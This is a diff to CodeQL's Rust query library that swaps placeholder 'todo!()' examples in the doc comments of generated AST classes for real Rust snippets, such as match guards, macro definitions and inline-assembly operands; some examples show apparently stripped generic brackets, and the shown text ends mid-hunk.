a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll index 8f4b7e0d8a48..6d7510e55c80 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll @@ -18,9 +18,15 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A MacroDef. For example: + * A macro definition using the `macro_rules!` or similar syntax. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` * INTERNAL: Do not reference the `Generated::MacroDef` class directly. * Use the subclass `MacroDef`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroExpr.qll index 2a986228abd6..60e6ae6708eb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroExpr.qll @@ -15,9 +15,11 @@ import codeql.rust.elements.MacroCall */ module Generated { /** - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` * INTERNAL: Do not reference the `Generated::MacroExpr` class directly. * Use the subclass `MacroExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll index cddbc98a799e..5c416e8e6bce 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll @@ -15,9 +15,14 @@ import codeql.rust.elements.internal.PatImpl::Impl as PatImpl */ module Generated { /** - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * match x { + * my_macro!() => "matched", + * _ => "not matched", + * } * ``` * INTERNAL: Do not reference the `Generated::MacroPat` class directly. * Use the subclass `MacroPat`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroRules.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroRules.qll index 0ca357049216..d7c915a9363e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroRules.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroRules.qll @@ -18,9 +18,13 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A MacroRules. For example: + * A macro definition using the `macro_rules!` syntax. * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` * INTERNAL: Do not reference the `Generated::MacroRules` class directly. * Use the subclass `MacroRules`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll index 8664ef91110f..ec6c4a5332d1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A MacroTypeRepr. For example: + * A type produced by a macro. + * + * For example: * ```rust - * todo!() + * type T = macro_type!(); + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::MacroTypeRepr` class directly. * Use the subclass `MacroTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MatchArmList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MatchArmList.qll index 37658ce922ff..b3b97b7a1751 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MatchArmList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MatchArmList.qll @@ -16,9 +16,16 @@ import codeql.rust.elements.MatchArm */ module Generated { /** - * A MatchArmList. For example: + * A list of arms in a match expression. + * + * For example: * ```rust - * todo!() + * match x { + * 1 => "one", + * 2 => "two", + * _ => "other", + * } + * // ^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::MatchArmList` class directly. * Use the subclass `MatchArmList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MatchGuard.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MatchGuard.qll index 193a85eaa114..b0b52879f52c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MatchGuard.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MatchGuard.qll @@ -15,9 +15,15 @@ import codeql.rust.elements.Expr */ module Generated { /** - * A MatchGuard. For example: + * A guard condition in a match arm. + * + * For example: * ```rust - * todo!() + * match x { + * y if y > 0 => "positive", + * // ^^^^^^^ + * _ => "non-positive", + * } * ``` * INTERNAL: Do not reference the `Generated::MatchGuard` class directly. * Use the subclass `MatchGuard`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll index 9f4252af3090..68db05b0abab 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.TokenTree */ module Generated { /** - * A Meta. For example: + * A meta item in an attribute. + * + * For example: * ```rust - * todo!() + * #[cfg(feature = "foo")] + * // ^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::Meta` class directly. * Use the subclass `Meta`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Name.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Name.qll index bffcfbdba6ff..115ae6afaeac 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Name.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Name.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::Name` class directly. * Use the subclass `Name`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll index bf690fae0a46..5835c078827c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/NameRef.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.UseBoundGenericArgImpl::Impl as UseBoundGen */ module Generated { /** - * A NameRef. For example: + * A reference to a name. + * + * For example: * ```rust - * todo!() + * foo(); + * //^^^ * ``` * INTERNAL: Do not reference the `Generated::NameRef` class directly. * Use the subclass `NameRef`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll index 54d2ecf8a042..6da319c83f3b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll @@ -14,9 +14,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A NeverTypeRepr. For example: + * The never type `!`. + * + * For example: * ```rust - * todo!() + * fn foo() -> ! { panic!() } + * // ^ * ``` * INTERNAL: Do not reference the `Generated::NeverTypeRepr` class directly. * Use the subclass `NeverTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParamList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParamList.qll index e09cc06cdeee..1e13899b9a57 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParamList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParamList.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.SelfParam */ module Generated { /** - * A ParamList. For example: + * A list of parameters in a function, method, or closure declaration. + * + * For example: * ```rust - * todo!() + * fn foo(x: i32, y: i32) {} + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ParamList` class directly. * Use the subclass `ParamList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll index 5ad83f994fff..12b018506fb5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenExpr.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.internal.ExprImpl::Impl as ExprImpl */ module Generated { /** - * A ParenExpr. For example: + * A parenthesized expression. + * + * For example: * ```rust - * todo!() + * (x + y) + * //^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ParenExpr` class directly. * Use the subclass `ParenExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenPat.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenPat.qll index 7ba7741583c8..ddf678e24473 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenPat.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenPat.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.PatImpl::Impl as PatImpl */ module Generated { /** - * A ParenPat. For example: + * A parenthesized pattern. + * + * For example: * ```rust - * todo!() + * let (x) = 1; + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::ParenPat` class directly. * Use the subclass `ParenPat`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll index 1ebed2ef11a9..b174f19a1a01 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A ParenTypeRepr. For example: + * A parenthesized type. + * + * For example: * ```rust - * todo!() + * let x: (i32); + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::ParenTypeRepr` class directly. * Use the subclass `ParenTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll index 24c4fd531ec0..6057a7eb3269 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll @@ -15,6 +15,18 @@ import codeql.rust.elements.TypeArg */ module Generated { /** + * A parenthesized argument list as used in function traits. + * + * For example: + * ```rust + * fn call_with_42(f: F) -> i32 + * where + * F: Fn(i32, String) -> i32, + * // ^^^^^^^^^^^ + * { + * f(42, "Don't panic".to_string()) + * } + * ``` * INTERNAL: Do not reference the `Generated::ParenthesizedArgList` class directly. * Use the subclass `ParenthesizedArgList`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll index d26bfbb8d5a6..dd831902b99c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/PathSegment.qll @@ -22,6 +22,12 @@ import codeql.rust.elements.TypeRepr module Generated { /** * A path segment, which is one part of a whole path. + * For example: + * - `HashMap` + * - `HashMap` + * - `Fn(i32) -> i32` + * - `widgets(..)` + * - `` * INTERNAL: Do not reference the `Generated::PathSegment` class directly. * Use the subclass `PathSegment`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll index 8195ded45ee1..990eec0265ba 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll @@ -15,10 +15,10 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A type referring to a path. For example: + * A path referring to a type. For example: * ```rust - * type X = std::collections::HashMap; - * type Y = X::Item; + * let x: (i32); + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::PathTypeRepr` class directly. * Use the subclass `PathTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll index 609c8d258c49..34c116a037e0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll @@ -15,9 +15,13 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A PtrTypeRepr. For example: + * A pointer type. + * + * For example: * ```rust - * todo!() + * let p: *const i32; + * let q: *mut i32; + * // ^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::PtrTypeRepr` class directly. * Use the subclass `PtrTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index d50a13ad7a83..e611b952de4e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -115,9 +115,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Abi. For example: + * An ABI specification for an extern function or block. + * + * For example: * ```rust - * todo!() + * extern "C" fn foo() {} + * // ^^^ * ``` */ class Abi extends @abi, AstNode { @@ -155,9 +158,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ArgList. For example: + * A list of arguments in a function or method call. + * + * For example: * ```rust - * todo!() + * foo(1, 2, 3); + * // ^^^^^^^^^ * ``` */ class ArgList extends @arg_list, AstNode { @@ -171,6 +177,13 @@ module Raw { /** * INTERNAL: Do not use. + * An inline assembly directive specification. + * + * For example: + * ```rust + * asm!("nop"); + * // ^^^^^ + * ``` */ class AsmDirSpec extends @asm_dir_spec, AstNode { override string toString() { result = "AsmDirSpec" } @@ -183,6 +196,13 @@ module Raw { /** * INTERNAL: Do not use. + * An operand expression in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` */ class AsmOperandExpr extends @asm_operand_expr, AstNode { override string toString() { result = "AsmOperandExpr" } @@ -200,6 +220,13 @@ module Raw { /** * INTERNAL: Do not use. + * An option in an inline assembly block. + * + * For example: + * ```rust + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` */ class AsmOption extends @asm_option, AstNode { override string toString() { result = "AsmOption" } @@ -217,6 +244,13 @@ module Raw { /** * INTERNAL: Do not use. + * A register specification in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out("eax") x, in("ebx") y); + * // ^^^ ^^^ + * ``` */ class AsmRegSpec extends @asm_reg_spec, AstNode { override string toString() { result = "AsmRegSpec" } @@ -229,16 +263,19 @@ module Raw { /** * INTERNAL: Do not use. - * A AssocItem. For example: + * An associated item in a `Trait` or `Impl`. + * + * For example: * ```rust - * todo!() + * trait T {fn foo(&self);} + * // ^^^^^^^^^^^^^ * ``` */ class AssocItem extends @assoc_item, AstNode { } /** * INTERNAL: Do not use. - * A list of `AssocItem` elements, as appearing for example in a `Trait`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ class AssocItemList extends @assoc_item_list, AstNode { override string toString() { result = "AssocItemList" } @@ -256,9 +293,13 @@ module Raw { /** * INTERNAL: Do not use. - * A Attr. For example: + * An attribute applied to an item. + * + * For example: * ```rust - * todo!() + * #[derive(Debug)] + * //^^^^^^^^^^^^^ + * struct S; * ``` */ class Attr extends @attr, AstNode { @@ -288,9 +329,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ClosureBinder. For example: + * A closure binder, specifying lifetime or type parameters for a closure. + * + * For example: * ```rust - * todo!() + * for <'a> |x: &'a u32 | x + * // ^^^^^^ * ``` */ class ClosureBinder extends @closure_binder, AstNode { @@ -310,18 +354,28 @@ module Raw { /** * INTERNAL: Do not use. - * A ExternItem. For example: + * An item inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ class ExternItem extends @extern_item, AstNode { } /** * INTERNAL: Do not use. - * A ExternItemList. For example: + * A list of items inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ class ExternItemList extends @extern_item_list, AstNode { @@ -340,9 +394,14 @@ module Raw { /** * INTERNAL: Do not use. - * A field of a variant. For example: + * A list of fields in a struct or enum variant. + * + * For example: * ```rust - * todo!() + * struct S {x: i32, y: i32} + * // ^^^^^^^^^^^^^^^^ + * enum E {A(i32, i32)} + * // ^^^^^^^^^^^^^ * ``` */ class FieldList extends @field_list, AstNode { } @@ -370,9 +429,12 @@ module Raw { /** * INTERNAL: Do not use. - * A GenericArg. For example: + * A generic argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^^^^^^^^^ * ``` */ class GenericArg extends @generic_arg, AstNode { } @@ -395,9 +457,12 @@ module Raw { /** * INTERNAL: Do not use. - * A GenericParam. For example: + * A generic parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) {} + * // ^ ^ * ``` */ class GenericParam extends @generic_param, AstNode { } @@ -425,9 +490,14 @@ module Raw { /** * INTERNAL: Do not use. - * A ItemList. For example: + * A list of items in a module or block. + * + * For example: * ```rust - * todo!() + * mod m { + * fn foo() {} + * struct S; + * } * ``` */ class ItemList extends @item_list, AstNode { @@ -465,9 +535,14 @@ module Raw { /** * INTERNAL: Do not use. - * A LetElse. For example: + * An else block in a let-else statement. + * + * For example: * ```rust - * todo!() + * let Some(x) = opt else { + * return; + * }; + * // ^^^^^^ * ``` */ class LetElse extends @let_else, AstNode { @@ -547,9 +622,16 @@ module Raw { /** * INTERNAL: Do not use. - * A MatchArmList. For example: + * A list of arms in a match expression. + * + * For example: * ```rust - * todo!() + * match x { + * 1 => "one", + * 2 => "two", + * _ => "other", + * } + * // ^^^^^^^^^^^ * ``` */ class MatchArmList extends @match_arm_list, AstNode { @@ -568,9 +650,15 @@ module Raw { /** * INTERNAL: Do not use. - * A MatchGuard. For example: + * A guard condition in a match arm. + * + * For example: * ```rust - * todo!() + * match x { + * y if y > 0 => "positive", + * // ^^^^^^^ + * _ => "non-positive", + * } * ``` */ class MatchGuard extends @match_guard, AstNode { @@ -584,9 +672,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Meta. For example: + * A meta item in an attribute. + * + * For example: * ```rust - * todo!() + * #[cfg(feature = "foo")] + * // ^^^^^^^^^^^^^^^ * ``` */ class Meta extends @meta, AstNode { @@ -615,9 +706,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` */ class Name extends @name, AstNode { @@ -647,9 +741,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ParamList. For example: + * A list of parameters in a function, method, or closure declaration. + * + * For example: * ```rust - * todo!() + * fn foo(x: i32, y: i32) {} + * // ^^^^^^^^^^^^^ * ``` */ class ParamList extends @param_list, AstNode { @@ -668,6 +765,18 @@ module Raw { /** * INTERNAL: Do not use. + * A parenthesized argument list as used in function traits. + * + * For example: + * ```rust + * fn call_with_42(f: F) -> i32 + * where + * F: Fn(i32, String) -> i32, + * // ^^^^^^^^^^^ + * { + * f(42, "Don't panic".to_string()) + * } + * ``` */ class ParenthesizedArgList extends @parenthesized_arg_list, AstNode { override string toString() { result = "ParenthesizedArgList" } @@ -709,6 +818,12 @@ module Raw { /** * INTERNAL: Do not use. * A path segment, which is one part of a whole path. + * For example: + * - `HashMap` + * - `HashMap` + * - `Fn(i32) -> i32` + * - `widgets(..)` + * - `` */ class PathSegment extends @path_segment, AstNode { override string toString() { result = "PathSegment" } @@ -753,9 +868,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Rename. For example: + * A rename in a use declaration. + * + * For example: * ```rust - * todo!() + * use foo as bar; + * // ^^^^^^ * ``` */ class Rename extends @rename, AstNode { @@ -785,9 +903,12 @@ module Raw { /** * INTERNAL: Do not use. - * A RetTypeRepr. For example: + * A return type in a function signature. + * + * For example: * ```rust - * todo!() + * fn foo() -> i32 {} + * // ^^^^^^ * ``` */ class RetTypeRepr extends @ret_type_repr, AstNode { @@ -801,9 +922,22 @@ module Raw { /** * INTERNAL: Do not use. - * A ReturnTypeSyntax. For example: + * A return type notation `(..)` to reference or bound the type returned by a trait method + * + * For example: * ```rust - * todo!() + * struct ReverseWidgets> { + * factory: F, + * } + * + * impl Factory for ReverseWidgets + * where + * F: Factory, + * { + * fn widgets(&self) -> impl Iterator { + * self.factory.widgets().rev() + * } + * } * ``` */ class ReturnTypeSyntax extends @return_type_syntax, AstNode { @@ -812,9 +946,12 @@ module Raw { /** * INTERNAL: Do not use. - * A SourceFile. For example: + * A source file. + * + * For example: * ```rust - * todo!() + * // main.rs + * fn main() {} * ``` */ class SourceFile extends @source_file, AstNode { @@ -839,9 +976,15 @@ module Raw { /** * INTERNAL: Do not use. - * A StmtList. For example: + * A list of statements in a block. + * + * For example: * ```rust - * todo!() + * { + * let x = 1; + * let y = 2; + * } + * // ^^^^^^^^^ * ``` */ class StmtList extends @stmt_list, AstNode { @@ -891,9 +1034,12 @@ module Raw { /** * INTERNAL: Do not use. - * A StructExprFieldList. For example: + * A list of fields in a struct expression. + * + * For example: * ```rust - * todo!() + * Foo { a: 1, b: 2 } + * // ^^^^^^^^^^^ * ``` */ class StructExprFieldList extends @struct_expr_field_list, AstNode { @@ -917,9 +1063,12 @@ module Raw { /** * INTERNAL: Do not use. - * A StructField. For example: + * A field in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32 } + * // ^^^^^^^ * ``` */ class StructField extends @struct_field, AstNode { @@ -984,9 +1133,12 @@ module Raw { /** * INTERNAL: Do not use. - * A StructPatFieldList. For example: + * A list of fields in a struct pattern. + * + * For example: * ```rust - * todo!() + * let Foo { a, b } = foo; + * // ^^^^^ * ``` */ class StructPatFieldList extends @struct_pat_field_list, AstNode { @@ -1011,9 +1163,16 @@ module Raw { /** * INTERNAL: Do not use. - * A TokenTree. For example: + * A token tree in a macro definition or invocation. + * + * For example: * ```rust - * todo!() + * println!("{} {}!", "Hello", "world"); + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ``` + * ``` + * macro_rules! foo { ($x:expr) => { $x + 1 }; } + * // ^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class TokenTree extends @token_tree, AstNode { @@ -1022,9 +1181,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TupleField. For example: + * A field in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^ ^^^^^^ * ``` */ class TupleField extends @tuple_field, AstNode { @@ -1048,9 +1210,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeBound. For example: + * A type bound in a trait or generic parameter. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^ * ``` */ class TypeBound extends @type_bound, AstNode { @@ -1084,9 +1249,12 @@ module Raw { /** * INTERNAL: Do not use. - * A TypeBoundList. For example: + * A list of type bounds. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^^^^^^^^^ * ``` */ class TypeBoundList extends @type_bound_list, AstNode { @@ -1116,6 +1284,13 @@ module Raw { /** * INTERNAL: Do not use. + * A use<..> bound to control which generic parameters are captured by an impl Trait return type. + * + * For example: + * ```rust + * pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + * // ^^^^^^^^ + * ``` */ class UseBoundGenericArgs extends @use_bound_generic_args, AstNode { override string toString() { result = "UseBoundGenericArgs" } @@ -1130,7 +1305,7 @@ module Raw { /** * INTERNAL: Do not use. - * A UseTree. For example: + * A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; @@ -1164,9 +1339,12 @@ module Raw { /** * INTERNAL: Do not use. - * A UseTreeList. For example: + * A list of use trees in a use declaration. + * + * For example: * ```rust - * todo!() + * use std::{fs, io}; + * // ^^^^^^^ * ``` */ class UseTreeList extends @use_tree_list, AstNode { @@ -1185,9 +1363,12 @@ module Raw { /** * INTERNAL: Do not use. - * A VariantList. For example: + * A list of variants in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B, C } + * // ^^^^^^^^^^^ * ``` */ class VariantList extends @variant_list, AstNode { @@ -1201,9 +1382,12 @@ module Raw { /** * INTERNAL: Do not use. - * A Visibility. For example: + * A visibility modifier. + * + * For example: * ```rust - * todo!() + * pub struct S; + * //^^^ * ``` */ class Visibility extends @visibility, AstNode { @@ -1217,9 +1401,12 @@ module Raw { /** * INTERNAL: Do not use. - * A WhereClause. For example: + * A where clause in a generic declaration. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) where T: Debug {} + * // ^^^^^^^^^^^^^^ * ``` */ class WhereClause extends @where_clause, AstNode { @@ -1233,9 +1420,12 @@ module Raw { /** * INTERNAL: Do not use. - * A WherePred. For example: + * A predicate in a where clause. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) where T: Debug, U: Clone {} + * // ^^^^^^^^ ^^^^^^^^ * ``` */ class WherePred extends @where_pred, AstNode { @@ -1286,9 +1476,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ArrayTypeRepr. For example: + * An array type representation. + * + * For example: * ```rust - * todo!() + * let arr: [i32; 4]; + * // ^^^^^^^^ * ``` */ class ArrayTypeRepr extends @array_type_repr, TypeRepr { @@ -1307,6 +1500,13 @@ module Raw { /** * INTERNAL: Do not use. + * A clobbered ABI in an inline assembly block. + * + * For example: + * ```rust + * asm!("", clobber_abi("C")); + * // ^^^^^^^^^^^^^^^^ + * ``` */ class AsmClobberAbi extends @asm_clobber_abi, AsmPiece { override string toString() { result = "AsmClobberAbi" } @@ -1314,6 +1514,13 @@ module Raw { /** * INTERNAL: Do not use. + * A constant operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov eax, {const}", const 42); + * // ^^^^^^^ + * ``` */ class AsmConst extends @asm_const, AsmOperand { override string toString() { result = "AsmConst" } @@ -1359,6 +1566,13 @@ module Raw { /** * INTERNAL: Do not use. + * A label in an inline assembly block. + * + * For example: + * ```rust + * asm!("jmp {label}", label = sym my_label); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` */ class AsmLabel extends @asm_label, AsmOperand { override string toString() { result = "AsmLabel" } @@ -1371,6 +1585,13 @@ module Raw { /** * INTERNAL: Do not use. + * A named operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); + * // ^^^^^ ^^^^ + * ``` */ class AsmOperandNamed extends @asm_operand_named, AsmPiece { override string toString() { result = "AsmOperandNamed" } @@ -1388,6 +1609,13 @@ module Raw { /** * INTERNAL: Do not use. + * A list of options in an inline assembly block. + * + * For example: + * ```rust + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` */ class AsmOptionsList extends @asm_options_list, AsmPiece { override string toString() { result = "AsmOptionsList" } @@ -1400,6 +1628,13 @@ module Raw { /** * INTERNAL: Do not use. + * A register operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` */ class AsmRegOperand extends @asm_reg_operand, AsmOperand { override string toString() { result = "AsmRegOperand" } @@ -1422,6 +1657,13 @@ module Raw { /** * INTERNAL: Do not use. + * A symbol operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("call {sym}", sym = sym my_function); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` */ class AsmSym extends @asm_sym, AsmOperand { override string toString() { result = "AsmSym" } @@ -1434,9 +1676,12 @@ module Raw { /** * INTERNAL: Do not use. - * A AssocTypeArg. For example: + * An associated type argument in a path. + * + * For example: * ```rust - * todo!() + * ::Item + * // ^^^^ * ``` */ class AssocTypeArg extends @assoc_type_arg, GenericArg { @@ -1756,9 +2001,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ConstArg. For example: + * A constant argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo::<3> + * // ^ * ``` */ class ConstArg extends @const_arg, GenericArg { @@ -1796,9 +2044,12 @@ module Raw { /** * INTERNAL: Do not use. - * A ConstParam. For example: + * A constant parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * struct Foo ; + * // ^^^^^^^^^^^^^^ * ``` */ class ConstParam extends @const_param, GenericParam { @@ -1864,9 +2115,12 @@ module Raw { /** * INTERNAL: Do not use. - * A DynTraitTypeRepr. For example: + * A dynamic trait object type. + * + * For example: * ```rust - * todo!() + * let x: &dyn Debug; + * // ^^^^^^^^^ * ``` */ class DynTraitTypeRepr extends @dyn_trait_type_repr, TypeRepr { @@ -1924,9 